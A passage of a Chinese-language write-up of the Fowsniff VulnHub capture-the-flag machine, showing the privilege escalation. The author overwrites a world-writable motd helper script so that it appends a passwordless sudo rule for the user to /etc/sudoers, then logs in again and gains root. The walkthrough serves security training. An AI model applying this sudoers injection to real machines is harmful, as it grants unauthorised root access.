# DISTRIB_DESCRIPTION=$(lsb_release -s -d)
#fi

#printf "Welcome to %s (%s %s %s)\n" "$DISTRIB_DESCRIPTION" "$(uname -o)" "$(uname -r)" "$(uname -m)"

sh /opt/cube/cube.sh

发现这个脚本会在用户登录时执行/opt/cube/cube.sh,并且还是以系统身份。

至此,我们的提权路径就已经很清晰明了了。

1
2
3
4
5
6
baksteen@fowsniff:/etc/update-motd.d$ cd /opt/cube/
baksteen@fowsniff:/opt/cube$ ll
total 16
drwxrwxrwx 2 root root 4096 May 25 13:04 ./
drwxr-xr-x 6 root root 4096 Mar 11 2018 ../
-rw-rwxr-- 1 parede users 29 May 25 13:06 cube.sh*

cube.sh虽然拥有者是parede,但是只要是users组就能读写执行。那就别客气了。

直接进行一个sudoers的写入。

1
2
3
4
5
6
7
8
baksteen@fowsniff:/opt/cube$ vim cube.sh
baksteen@fowsniff:/opt/cube$ cat cube.sh
#!/bin/bash

echo 'baksteen ALL=(ALL) NOPASSWD:ALL' >> /etc/sudoers
baksteen@fowsniff:/opt/cube$ exit
logout
Connection to 192.168.56.107 closed.

那么接下来,如果理想的话,就是我们登录时,系统在打印motd信息时执行我们的cube.sh,将baksteen用户写入sudoers,实现提权。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
┌──(kali㉿kali)-[~/vulnhub/Fowsniff/workSpace]
└─$ ssh baksteen@192.168.56.107
baksteen@192.168.56.107's password:

**** Welcome to the Fowsniff Corporate Server! ****

---------- NOTICE: ----------

* Due to the recent security breach, we are running on a very minimal system.
* Contact AJ Stone -IMMEDIATELY- about changing your email and SSH passwords.


Last login: Thu May 25 13:20:41 2023 from 192.168.56.144
baksteen@fowsniff:~$ sudo -l
Matching Defaults entries for baksteen on fowsniff:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User baksteen may run the following commands on fowsniff:
(ALL) NOPASSWD: ALL
baksteen@fowsniff:~$ sudo su
root@fowsniff:/home/baksteen# whoami
root
root@fowsniff:/home/baksteen# cd ~
root@fowsniff:~# ll
total 28
drwx------ 4 root root 4096 Mar 9 2018 ./
drwxr-xr-x 22 root root 4096 Mar 9 2018 ../
-rw-r--r-- 1 root root 3117 Mar 9 2018 .bashrc
-rw-r--r-- 1 root root 582 Mar 9 2018 flag.txt
drwx------ 5 root root 4096 Mar 9 2018 Maildir/
drwxr-xr-x 2 root root 4096 Mar 9 2018 .nano/
-rw-r--r-- 1 root root 148 Aug 17 2015 .profile
root@fowsniff:~# cat flag.txt
___ _ _ _ _ _
/ __|___ _ _ __ _ _ _ __ _| |_ _ _| |__ _| |_(_)___ _ _ __| |
| (__/ _ \ ' \/ _` | '_/ _` | _| || | / _` | _| / _ \ ' \(_-<_|
\___\___/_||_\__, |_| \__,_|\__|\_,_|_\__,_|\__|_\___/_||_/__(_)
|___/

(_)
|--------------
|&&&&&&&&&&&&&&|
| R O O T |
| F L A G |
|&&&&&&&&&&&&&&|
|--------------
|
|
|
|
|
|
---

Nice work!

This CTF was built with love in every byte by @berzerk0 on Twitter.

Special thanks to psf, @nbulischeck and the whole Fofao Team.

root@fowsniff:~#

我们发现,开头的cube图标没了,我们的脚本成功执行了。成功拿下root flag。

总结

这台机子的突破部分主要考模拟真实环境下信息收集能力,看你有没有梯子上推特,然后是如何处理页面信息被删除情况下查看以前留下的信息。提权部分主要是看是否对应该手动枚举那些文件是否熟悉以及对motd的理解。

总之这台机子做的还是不错的,挺有意思。